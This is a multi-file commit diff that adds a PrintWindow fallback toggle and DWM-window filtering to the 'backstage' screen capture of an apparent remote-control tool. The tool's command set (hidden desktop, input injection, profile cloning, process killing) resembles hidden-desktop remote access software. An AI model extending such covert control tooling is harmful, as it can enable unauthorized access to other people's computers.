defer backstageDesktopMu.Unlock()
|
defer backstageDesktopMu.Unlock()
|
||||||
|
|
||||||
backstageCleanupFrameReaders()
|
backstageCleanupFrameReaders()
|
||||||
|
backstageCleanupDWMThumbnails()
|
||||||
|
|
||||||
backstageFreeCapCache()
|
backstageFreeCapCache()
|
||||||
|
|
||||||
@@ -592,6 +593,9 @@ func BackstageKillAll() error {
|
|||||||
|
|
||||||
pids := make(map[uint32]struct{})
|
pids := make(map[uint32]struct{})
|
||||||
cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr {
|
cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr {
|
||||||
|
if backstageIsDWMHost(hwnd) {
|
||||||
|
return 1
|
||||||
|
}
|
||||||
var pid uint32
|
var pid uint32
|
||||||
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
|
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
|
||||||
if pid != 0 {
|
if pid != 0 {
|
||||||
@@ -891,6 +895,18 @@ func BackstageCaptureDisplayOnThread(display int) (*image.RGBA, error) {
|
|||||||
dstH = srcH
|
dstH = srcH
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if dwmHDC, dwmBuf, ok := backstageEnsureDWMCompCache(dstW, dstH); ok {
|
||||||
|
for i := range dwmBuf {
|
||||||
|
dwmBuf[i] = 0
|
||||||
|
}
|
||||||
|
if drawbackstageStagingFromDWM(dwmHDC, bounds, dstW, dstH, dwmBuf) {
|
||||||
|
swapRB(dwmBuf)
|
||||||
|
img := GetRGBA(dstW, dstH)
|
||||||
|
copy(img.Pix, dwmBuf)
|
||||||
|
return img, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
capW := srcW
|
capW := srcW
|
||||||
capH := srcH
|
capH := srcH
|
||||||
|
|
||||||
@@ -1312,7 +1328,7 @@ func foregroundWindow() uintptr {
|
|||||||
func findAnyVisibleTopLevelWindow() uintptr {
|
func findAnyVisibleTopLevelWindow() uintptr {
|
||||||
hwnd := getTopWindow(0)
|
hwnd := getTopWindow(0)
|
||||||
for hwnd != 0 {
|
for hwnd != 0 {
|
||||||
if isWindowVisible(hwnd) {
|
if !backstageIsDWMHost(hwnd) && isWindowVisible(hwnd) {
|
||||||
return hwnd
|
return hwnd
|
||||||
}
|
}
|
||||||
hwnd = getWindow(hwnd, GW_HWNDNEXT)
|
hwnd = getWindow(hwnd, GW_HWNDNEXT)
|
||||||
@@ -1326,6 +1342,9 @@ func makeLParam(x, y int32) uintptr {
|
|||||||
|
|
||||||
func windowFromPoint(pt point) uintptr {
|
func windowFromPoint(pt point) uintptr {
|
||||||
ret, _, _ := procWindowFromPoint.Call(uintptr(*(*int64)(unsafe.Pointer(&pt))))
|
ret, _, _ := procWindowFromPoint.Call(uintptr(*(*int64)(unsafe.Pointer(&pt))))
|
||||||
|
if backstageIsDWMHost(ret) {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
return ret
|
return ret
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1678,7 +1697,7 @@ func drawbackstageWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, tar
|
|||||||
|
|
||||||
drawn := 0
|
drawn := 0
|
||||||
for hwnd != 0 {
|
for hwnd != 0 {
|
||||||
if drawbackstageWindow(hdcScreen, hwnd, bounds, target, targetStride) {
|
if !backstageIsDWMHost(hwnd) && drawbackstageWindow(hdcScreen, hwnd, bounds, target, targetStride) {
|
||||||
drawn++
|
drawn++
|
||||||
}
|
}
|
||||||
alive[hwnd] = true
|
alive[hwnd] = true
|
||||||
@@ -1751,10 +1770,13 @@ var dxgiFrameBuf []byte
|
|||||||
|
|
||||||
var backstageDXGIEnabled atomic.Bool
|
var backstageDXGIEnabled atomic.Bool
|
||||||
var backstageUIAEnabled atomic.Bool
|
var backstageUIAEnabled atomic.Bool
|
||||||
|
var backstagePrintWindowFallbackEnabled atomic.Bool
|
||||||
|
var backstagePrintWindowFallbackLogNs atomic.Int64
|
||||||
|
|
||||||
func init() {
|
func init() {
|
||||||
backstageDXGIEnabled.Store(false) // disabled by default
|
backstageDXGIEnabled.Store(false) // disabled by default
|
||||||
backstageUIAEnabled.Store(false) // disabled by default
|
backstageUIAEnabled.Store(false) // disabled by default
|
||||||
|
backstagePrintWindowFallbackEnabled.Store(true)
|
||||||
}
|
}
|
||||||
|
|
||||||
func SetbackstageDXGIEnabled(enabled bool) {
|
func SetbackstageDXGIEnabled(enabled bool) {
|
||||||
@@ -1773,6 +1795,14 @@ func GetbackstageUIAEnabled() bool {
|
|||||||
return backstageUIAEnabled.Load()
|
return backstageUIAEnabled.Load()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func SetbackstagePrintWindowFallbackEnabled(enabled bool) {
|
||||||
|
backstagePrintWindowFallbackEnabled.Store(enabled)
|
||||||
|
}
|
||||||
|
|
||||||
|
func GetbackstagePrintWindowFallbackEnabled() bool {
|
||||||
|
return backstagePrintWindowFallbackEnabled.Load()
|
||||||
|
}
|
||||||
|
|
||||||
func drawbackstageWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool {
|
func drawbackstageWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool {
|
||||||
if !backstageDXGIEnabled.Load() {
|
if !backstageDXGIEnabled.Load() {
|
||||||
return false
|
return false
|
||||||
@@ -1847,6 +1877,9 @@ func drawbackstageWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int,
|
|||||||
}
|
}
|
||||||
|
|
||||||
func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool {
|
func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool {
|
||||||
|
if backstageIsDWMHost(hwnd) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
if !isWindowVisible(hwnd) {
|
if !isWindowVisible(hwnd) {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
@@ -1875,6 +1908,15 @@ func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target
|
|||||||
if drawn := drawbackstageWindowFromDXGI(hwnd, winLeft, winTop, winW, winH, bounds, target, targetStride); drawn {
|
if drawn := drawbackstageWindowFromDXGI(hwnd, winLeft, winTop, winW, winH, bounds, target, targetStride); drawn {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
if !backstagePrintWindowFallbackEnabled.Load() {
|
||||||
|
now := time.Now().UnixNano()
|
||||||
|
last := backstagePrintWindowFallbackLogNs.Load()
|
||||||
|
if now-last > int64(5*time.Second) &&
|
||||||
|
backstagePrintWindowFallbackLogNs.CompareAndSwap(last, now) {
|
||||||
|
log.Printf("backstage capture: per-window PrintWindow fallback is disabled")
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
// Use pooled DC+DIB from cache
|
// Use pooled DC+DIB from cache
|
||||||
entry := backstageGetOrCreateCache(hdcScreen, hwnd, winW, winH)
|
entry := backstageGetOrCreateCache(hdcScreen, hwnd, winW, winH)
|
||||||
@@ -2048,6 +2090,9 @@ func BackstageEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
|
|||||||
var windows []rawWin
|
var windows []rawWin
|
||||||
|
|
||||||
cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr {
|
cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr {
|
||||||
|
if backstageIsDWMHost(hwnd) {
|
||||||
|
return 1
|
||||||
|
}
|
||||||
windows = append(windows, rawWin{hwnd: hwnd})
|
windows = append(windows, rawWin{hwnd: hwnd})
|
||||||
return 1
|
return 1
|
||||||
})
|
})
|
||||||
|
|||||||
@@ -1298,6 +1298,18 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
capture.SetbackstageDXGIEnabled(dxgiEnabled)
|
capture.SetbackstageDXGIEnabled(dxgiEnabled)
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
return nil
|
return nil
|
||||||
|
case "backstage_enable_printwindow_fallback":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
enabled := true
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payload["enabled"].(bool); ok {
|
||||||
|
enabled = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
log.Printf("backstage: per-window PrintWindow fallback %v", enabled)
|
||||||
|
capture.SetbackstagePrintWindowFallbackEnabled(enabled)
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
case "backstage_enable_uia":
|
case "backstage_enable_uia":
|
||||||
payload, _ := envelope["payload"].(map[string]interface{})
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
uiaEnabled := true
|
uiaEnabled := true
|
||||||
|
|||||||
@@ -77,6 +77,7 @@ const (
|
|||||||
CommandBackstageEnableDxgi CommandType = "backstage_enable_dxgi"
|
CommandBackstageEnableDxgi CommandType = "backstage_enable_dxgi"
|
||||||
CommandBackstageEnableKeyboard CommandType = "backstage_enable_keyboard"
|
CommandBackstageEnableKeyboard CommandType = "backstage_enable_keyboard"
|
||||||
CommandBackstageEnableMouse CommandType = "backstage_enable_mouse"
|
CommandBackstageEnableMouse CommandType = "backstage_enable_mouse"
|
||||||
|
CommandBackstageEnablePrintwindowFallback CommandType = "backstage_enable_printwindow_fallback"
|
||||||
CommandBackstageEnableUia CommandType = "backstage_enable_uia"
|
CommandBackstageEnableUia CommandType = "backstage_enable_uia"
|
||||||
CommandBackstageInstalledApps CommandType = "backstage_installed_apps"
|
CommandBackstageInstalledApps CommandType = "backstage_installed_apps"
|
||||||
CommandBackstageKeyDown CommandType = "backstage_key_down"
|
CommandBackstageKeyDown CommandType = "backstage_key_down"
|
||||||
@@ -286,6 +287,7 @@ var CommandTypes = [...]CommandType{
|
|||||||
CommandBackstageEnableDxgi,
|
CommandBackstageEnableDxgi,
|
||||||
CommandBackstageEnableKeyboard,
|
CommandBackstageEnableKeyboard,
|
||||||
CommandBackstageEnableMouse,
|
CommandBackstageEnableMouse,
|
||||||
|
CommandBackstageEnablePrintwindowFallback,
|
||||||
CommandBackstageEnableUia,
|
CommandBackstageEnableUia,
|
||||||
CommandBackstageInstalledApps,
|
CommandBackstageInstalledApps,
|
||||||
CommandBackstageKeyDown,
|
CommandBackstageKeyDown,
|
||||||
@@ -435,6 +437,7 @@ var CommandVersionSupport = map[CommandType]CommandVersionRange{
|
|||||||
CommandBackstageEnableDxgi: {Min: 1, Max: 1},
|
CommandBackstageEnableDxgi: {Min: 1, Max: 1},
|
||||||
CommandBackstageEnableKeyboard: {Min: 1, Max: 1},
|
CommandBackstageEnableKeyboard: {Min: 1, Max: 1},
|
||||||
CommandBackstageEnableMouse: {Min: 1, Max: 1},
|
CommandBackstageEnableMouse: {Min: 1, Max: 1},
|
||||||
|
CommandBackstageEnablePrintwindowFallback: {Min: 1, Max: 1},
|
||||||
CommandBackstageEnableUia: {Min: 1, Max: 1},
|
CommandBackstageEnableUia: {Min: 1, Max: 1},
|
||||||
CommandBackstageInstalledApps: {Min: 1, Max: 1},
|
CommandBackstageInstalledApps: {Min: 1, Max: 1},
|
||||||
CommandBackstageKeyDown: {Min: 1, Max: 1},
|
CommandBackstageKeyDown: {Min: 1, Max: 1},
|
||||||
|
|||||||
@@ -6,7 +6,7 @@ func TestGeneratedWireContract(t *testing.T) {
|
|||||||
if WireProtocolVersion != 1 {
|
if WireProtocolVersion != 1 {
|
||||||
t.Fatalf("unexpected wire protocol version: %d", WireProtocolVersion)
|
t.Fatalf("unexpected wire protocol version: %d", WireProtocolVersion)
|
||||||
}
|
}
|
||||||
if len(CommandTypes) != 141 {
|
if len(CommandTypes) != 142 {
|
||||||
t.Fatalf("unexpected command count: %d", len(CommandTypes))
|
t.Fatalf("unexpected command count: %d", len(CommandTypes))
|
||||||
}
|
}
|
||||||
if len(CommandVersionSupport) != len(CommandTypes) {
|
if len(CommandVersionSupport) != len(CommandTypes) {
|
||||||
|
|||||||
@@ -117,6 +117,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
const statusEl = document.getElementById("streamStatus");
|
const statusEl = document.getElementById("streamStatus");
|
||||||
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
||||||
const uiaCtrl = document.getElementById("uiaCtrl");
|
const uiaCtrl = document.getElementById("uiaCtrl");
|
||||||
|
const printWindowFallbackCtrl = document.getElementById("printWindowFallbackCtrl");
|
||||||
const backstageResolutionSelect = document.getElementById("backstageResolutionSelect");
|
const backstageResolutionSelect = document.getElementById("backstageResolutionSelect");
|
||||||
const targetFpsSelect = document.getElementById("targetFpsSelect");
|
const targetFpsSelect = document.getElementById("targetFpsSelect");
|
||||||
let whepClient = null;
|
let whepClient = null;
|
||||||
@@ -132,6 +133,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
if (mouseCtrl) sendCmd("backstage_enable_mouse", { enabled: mouseCtrl.checked });
|
if (mouseCtrl) sendCmd("backstage_enable_mouse", { enabled: mouseCtrl.checked });
|
||||||
if (kbdCtrl) sendCmd("backstage_enable_keyboard", { enabled: kbdCtrl.checked });
|
if (kbdCtrl) sendCmd("backstage_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||||
if (uiaCtrl) sendCmd("backstage_enable_uia", { enabled: uiaCtrl.checked });
|
if (uiaCtrl) sendCmd("backstage_enable_uia", { enabled: uiaCtrl.checked });
|
||||||
|
if (printWindowFallbackCtrl) {
|
||||||
|
sendCmd("backstage_enable_printwindow_fallback", { enabled: printWindowFallbackCtrl.checked });
|
||||||
|
}
|
||||||
pushbackstageResolution();
|
pushbackstageResolution();
|
||||||
}
|
}
|
||||||
let activeClientId = clientId;
|
let activeClientId = clientId;
|
||||||
@@ -186,6 +190,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality);
|
if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality);
|
||||||
if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync;
|
if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync;
|
||||||
if (uiaCtrl && typeof settings.uia === "boolean") uiaCtrl.checked = settings.uia;
|
if (uiaCtrl && typeof settings.uia === "boolean") uiaCtrl.checked = settings.uia;
|
||||||
|
if (printWindowFallbackCtrl && typeof settings.printWindowFallback === "boolean") {
|
||||||
|
printWindowFallbackCtrl.checked = settings.printWindowFallback;
|
||||||
|
}
|
||||||
prefersH264 = false;
|
prefersH264 = false;
|
||||||
const cloneToggle = document.getElementById("backstageCloneToggle");
|
const cloneToggle = document.getElementById("backstageCloneToggle");
|
||||||
const cloneLiteToggle = document.getElementById("backstageCloneLiteToggle");
|
const cloneLiteToggle = document.getElementById("backstageCloneLiteToggle");
|
||||||
@@ -211,6 +218,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
keyboard: !!kbdCtrl?.checked,
|
keyboard: !!kbdCtrl?.checked,
|
||||||
clipboardSync: !!clipboardSyncCtrl?.checked,
|
clipboardSync: !!clipboardSyncCtrl?.checked,
|
||||||
uia: !!uiaCtrl?.checked,
|
uia: !!uiaCtrl?.checked,
|
||||||
|
printWindowFallback: printWindowFallbackCtrl?.checked !== false,
|
||||||
cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false,
|
cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false,
|
||||||
cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true,
|
cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true,
|
||||||
killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true,
|
killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true,
|
||||||
@@ -1281,6 +1289,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
sharedSettingsSaver.scheduleSave();
|
sharedSettingsSaver.scheduleSave();
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
if (printWindowFallbackCtrl) {
|
||||||
|
printWindowFallbackCtrl.addEventListener("change", function () {
|
||||||
|
sendCmd("backstage_enable_printwindow_fallback", { enabled: printWindowFallbackCtrl.checked });
|
||||||
|
sharedSettingsSaver.scheduleSave();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
function pushbackstageResolution() {
|
function pushbackstageResolution() {
|
||||||
if (backstageResolutionSelect) {
|
if (backstageResolutionSelect) {
|
||||||
|
|||||||
@@ -191,6 +191,9 @@
|
|||||||
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Use UI Automation for WinUI3 app input (modern Windows apps). Disable if input is unreliable in non-WinUI3 apps.">
|
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Use UI Automation for WinUI3 app input (modern Windows apps). Disable if input is unreliable in non-WinUI3 apps.">
|
||||||
<input type="checkbox" id="uiaCtrl" /> UIA Support
|
<input type="checkbox" id="uiaCtrl" /> UIA Support
|
||||||
</label>
|
</label>
|
||||||
|
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Allow the compatibility compositor to call PrintWindow on target applications when DWM staging and DXGI cannot provide a frame. DWM staging itself remains enabled.">
|
||||||
|
<input type="checkbox" id="printWindowFallbackCtrl" checked /> PrintWindow Fallback
|
||||||
|
</label>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|||||||
@@ -140,6 +140,7 @@ export const COMMAND_TYPES = [
|
|||||||
"backstage_enable_dxgi",
|
"backstage_enable_dxgi",
|
||||||
"backstage_enable_keyboard",
|
"backstage_enable_keyboard",
|
||||||
"backstage_enable_mouse",
|
"backstage_enable_mouse",
|
||||||
|
"backstage_enable_printwindow_fallback",
|
||||||
"backstage_enable_uia",
|
"backstage_enable_uia",
|
||||||
"backstage_installed_apps",
|
"backstage_installed_apps",
|
||||||
"backstage_key_down",
|
"backstage_key_down",
|
||||||
@@ -305,6 +306,10 @@ export const COMMAND_VERSION_SUPPORT = {
|
|||||||
"min": 1,
|
"min": 1,
|
||||||
"max": 1
|
"max": 1
|
||||||
},
|
},
|
||||||
|
"backstage_enable_printwindow_fallback": {
|
||||||
|
"min": 1,
|
||||||
|
"max": 1
|
||||||
|
},
|
||||||
"backstage_enable_uia": {
|
"backstage_enable_uia": {
|
||||||
"min": 1,
|
"min": 1,
|
||||||
"max": 1
|
"max": 1
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ import {
|
|||||||
describe("generated wire protocol contract", () => {
|
describe("generated wire protocol contract", () => {
|
||||||
test("publishes the complete command catalog", () => {
|
test("publishes the complete command catalog", () => {
|
||||||
expect(WIRE_PROTOCOL_VERSION).toBe(1);
|
expect(WIRE_PROTOCOL_VERSION).toBe(1);
|
||||||
expect(COMMAND_TYPES.length).toBe(141);
|
expect(COMMAND_TYPES.length).toBe(142);
|
||||||
expect(new Set(COMMAND_TYPES).size).toBe(COMMAND_TYPES.length);
|
expect(new Set(COMMAND_TYPES).size).toBe(COMMAND_TYPES.length);
|
||||||
expect(isCommandType("desktop_start")).toBe(true);
|
expect(isCommandType("desktop_start")).toBe(true);
|
||||||
expect(isCommandType("virtual_window_list")).toBe(true);
|
expect(isCommandType("virtual_window_list")).toBe(true);
|
||||||
|
|||||||
@@ -347,6 +347,7 @@ function sanitizeSharedUiSettings(scope: string, raw: unknown): Record<string, u
|
|||||||
assignIfDefined(out, "resolution", pickString(input.resolution, ["720", "1080", "1440", "-1"]));
|
assignIfDefined(out, "resolution", pickString(input.resolution, ["720", "1080", "1440", "-1"]));
|
||||||
assignIfDefined(out, "dxgi", pickBoolean(input.dxgi));
|
assignIfDefined(out, "dxgi", pickBoolean(input.dxgi));
|
||||||
assignIfDefined(out, "uia", pickBoolean(input.uia));
|
assignIfDefined(out, "uia", pickBoolean(input.uia));
|
||||||
|
assignIfDefined(out, "printWindowFallback", pickBoolean(input.printWindowFallback));
|
||||||
assignIfDefined(out, "cloneProfile", pickBoolean(input.cloneProfile));
|
assignIfDefined(out, "cloneProfile", pickBoolean(input.cloneProfile));
|
||||||
assignIfDefined(out, "cloneLite", pickBoolean(input.cloneLite));
|
assignIfDefined(out, "cloneLite", pickBoolean(input.cloneLite));
|
||||||
assignIfDefined(out, "killIfRunning", pickBoolean(input.killIfRunning));
|
assignIfDefined(out, "killIfRunning", pickBoolean(input.killIfRunning));
|
||||||
|
|||||||
@@ -1363,6 +1363,9 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
|
|||||||
case "backstage_enable_dxgi":
|
case "backstage_enable_dxgi":
|
||||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_dxgi", { enabled: !!payload.enabled });
|
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_dxgi", { enabled: !!payload.enabled });
|
||||||
break;
|
break;
|
||||||
|
case "backstage_enable_printwindow_fallback":
|
||||||
|
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_printwindow_fallback", { enabled: !!payload.enabled });
|
||||||
|
break;
|
||||||
case "backstage_enable_uia":
|
case "backstage_enable_uia":
|
||||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_uia", { enabled: !!payload.enabled });
|
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_uia", { enabled: !!payload.enabled });
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -78,6 +78,7 @@
|
|||||||
"backstage_enable_dxgi",
|
"backstage_enable_dxgi",
|
||||||
"backstage_enable_keyboard",
|
"backstage_enable_keyboard",
|
||||||
"backstage_enable_mouse",
|
"backstage_enable_mouse",
|
||||||
|
"backstage_enable_printwindow_fallback",
|
||||||
"backstage_enable_uia",
|
"backstage_enable_uia",
|
||||||
"backstage_installed_apps",
|
"backstage_installed_apps",
|
||||||
"backstage_key_down",
|
"backstage_key_down",
|
||||||
|
|||||||
Reference in New Issue
Block a user